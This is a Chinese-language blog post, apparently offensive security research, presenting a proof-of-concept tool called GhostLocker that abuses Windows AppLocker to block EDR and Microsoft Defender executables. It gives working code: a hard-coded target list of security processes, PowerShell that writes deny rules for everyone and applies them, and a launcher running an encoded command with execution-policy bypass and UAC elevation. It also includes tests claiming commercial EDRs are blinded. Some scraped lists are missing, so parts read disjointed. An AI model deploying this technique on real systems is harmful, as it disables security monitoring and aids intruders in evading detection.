在我关于 Fairy-Law 的文章中,我使用内核缓解措施来禁用端点检测与响应 (EDR) 解决方案,diversenok 指出 IFEO 排除项(映像文件执行选项)对第三方应用程序过于侵入。这引出了一个更好的方法:利用管理员通过 AppLocker 已经拥有的内在权力。
该概念受 diversenok 启发,他指出管理员可以合法地控制其系统上的任何软件。基于这一见解,我开发了一种使用 AppLocker 作为原生 Windows 控制机制的技术。这项研究探索了 AppLocker 用于 EDR 控制的技术实现,将其与 WDAC 进行比较,并展示了一个实用的概念验证工具。
AppLocker 随 Windows 7 引入,并在 Windows 8.1、10(企业版) 以及 Windows Server 2012/R2/2016+ 中得到增强。它是一个 应用程序白名单框架,允许管理员精确定义哪些可执行文件、脚本或安装程序可以针对特定用户或组执行。
AppIDSvc(应用程序标识服务)
LocalService 帐户下运行AppID.sys(内核驱动程序)
SeSrpAccessCheck 执行规则评估说明:
虽然AppID.sys在内核模式下执行规则评估,但 DLL 强制实施并非自主完成。
内核驱动程序本身不会主动监视 DLL 加载。相反,用户模式组件必须通过 IOCTL 显式查询驱动程序,以确定是否允许加载某个 DLL。
因此,AppLocker DLL 规则实际上是作为客户端保护机制运作的。
AppLocker 支持两类主要规则:
允许规则:显式允许定义的应用程序执行
拒绝规则:显式阻止定义的应用程序执行
C:\Program Files\Security\*.exeHKLM\Software\Policies\Microsoft\Windows\SrpV2 (XML 策略存储,持久化)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe (SDDL 二进制格式,活动实施)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore(证书缓存)
默认情况下,AppLocker 不对服务或 SYSTEM 进程实施规则。
没有图形用户界面选项可以启用此行为。
只能通过 XML 策略使用 RuleCollectionExtensions 启用对服务的实施。
需要以下策略部分才能对服务实施 AppLocker 规则:
<RuleCollectionExtensions>
<ThresholdExtensions>
<Services EnforcementMode="Enabled"/>
</ThresholdExtensions>
<RedstoneExtensions>
<SystemApps Allow="Enabled"/>
</RedstoneExtensions>
</RuleCollectionExtensions>
如扩展名称所示,这些选项仅在 Windows 10+ 上受支持,在早期版本上不可用。 请参阅 Microsoft - AppLocker 规则集合扩展
AppID.sys 评估应用程序属性STATUS_ACCESS_DISABLED_BY_POLICY_OTHER⚠️ AppLocker 不会终止正在运行的进程。
AppLocker 实施仅适用于新进程创建事件。已在运行的 EDR 进程会继续执行,直到系统重启。这是一个根本性的架构限制。
内核驱动程序遥测注意事项:
即使阻止了 EDR 用户态可执行文件,内核驱动程序(*.sys)仍保持活动并可运行。这些驱动程序会继续:
然而,大量测试表明,这种遥测在功能上变得无效。没有用户态分析引擎、关联系统和报告机制,原始遥测数据无法处理为可操作的检测。EDR 解决方案严重依赖用户态组件来完成:
GhostLocker 是一个 C++ 实现,它自动化 AppLocker 策略部署以阻止 EDR 可执行文件。
GhostLocker 提供了两种实现变体:
main.cpp – 动态枚举版本此版本枚举正在运行的进程,并使用原生 API(NtQuerySystemInformation)解析其完整映像路径。
然后使用解析出的绝对路径生成精确的 AppLocker 拒绝规则。
该工具使用 CreateToolhelp32Snapshot 配合 TH32CS_SNAPPROCESS 枚举所有正在运行的进程。它使用不区分大小写的匹配(_wcsicmp)将进程名称与预定义的目标列表进行比较。
为什么采用这种方法?
FindTargetsAndQueryPaths)const wchar_t* targetNames[] = {
L"MpDefenderCoreService.exe",
L"MsMpEng.exe",
L"WinDefend.exe",
L"EDR_Component_Name.exe",
};
SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;
status = NtQuerySystemInformation(
SystemProcessIdInformation,
&spi,
sizeof(spi),
0
);
技术细节:
SystemProcessIdInformation (0x58) 信息类\Device\HarddiskVolume3\Windows\System32\...路径转换逻辑:
std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
if (ntPath.rfind(prefix, 0) == 0)
{
std::wstring rest = ntPath.substr(prefix.length());
return L"C:\\" + rest;
}
return ntPath;
}
限制: 硬编码了 HarddiskVolume3 假设。应改进为动态解析卷号。
该工具嵌入了一个完整的 PowerShell 脚本,执行以下操作:
a) 验证目标路径
foreach ($exe in $ExeToBlock) {
if (!(Test-Path $exe)) {
Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
exit 1
}
}
b) 生成动态拒绝规则
foreach ($exe in $ExeToBlock) {
$id = [guid]::NewGuid().ToString()
$name = Split-Path $exe -Leaf
$dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name +
'" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
$dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
$dynamicBlockRules += '</FilePathRule>'
}
关键策略元素:
UserOrGroupSid="S-1-1-0":应用于所有人(所有用户)Action="Deny":显式阻止规则EnforcementMode="Enabled":对 EXE 规则启用实施c) 策略应用
Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null
void RunPowerShellInMemory()
{
std::wstring script = BuildFullPowerShellScript();
const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
size_t byteLen = script.size() * sizeof(wchar_t);
std::wstring encoded = Base64Encode(bytes, byteLen);
std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
params += encoded;
ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}
技术原理:
-EncodedCommand 期望 UTF-16LE-ExecutionPolicy Bypass:忽略脚本执行策略runas 动词:触发 UAC 提升以获取管理员权限main_improved.cpp – 静态通配符版本在 diversenok 的澄清之后,很明显 AppLocker 路径规则支持通配符匹配,不需要完整的可执行文件路径。
这个改进版本移除了所有进程枚举和原生路径解析逻辑,而是依赖静态通配符规则,例如:*\MsMpEng.exe
⚠️ 成功部署的前提条件:
sc start AppIDSvc对多个商业 EDR 解决方案进行了广泛的受控测试,以评估有效性。
测试环境:
行为分析失败:
管理控制台视角:
尽管内核驱动程序继续运行并收集遥测数据流,但缺少用户态处理组件导致收集的数据无效。
仍然正常工作的内容:
关键洞察:
现代 EDR 架构依赖于内核驱动程序和用户态分析引擎之间的紧密耦合。 打破这种耦合实际上会使 EDR 失明,尽管遥测收集仍在继续。
截图(枚举并应用 AppLocker 策略):

截图(已停用的 WinDefend):
版本 2 的截图

Windows Defender 应用程序控制 (WDAC) 在 Windows 10 中引入,代表了 Microsoft 的现代应用程序控制框架。 它对用户模式和内核模式的二进制文件实施策略。
核心特性:
WDAC 策略存储:
C:\Windows\System32\CodeIntegrity\SIPolicy.p7b (活动策略,已签名)
C:\Windows\System32\CodeIntegrity\CIPolicies\ (多个策略)
EFI 系统分区(UEFI 实施)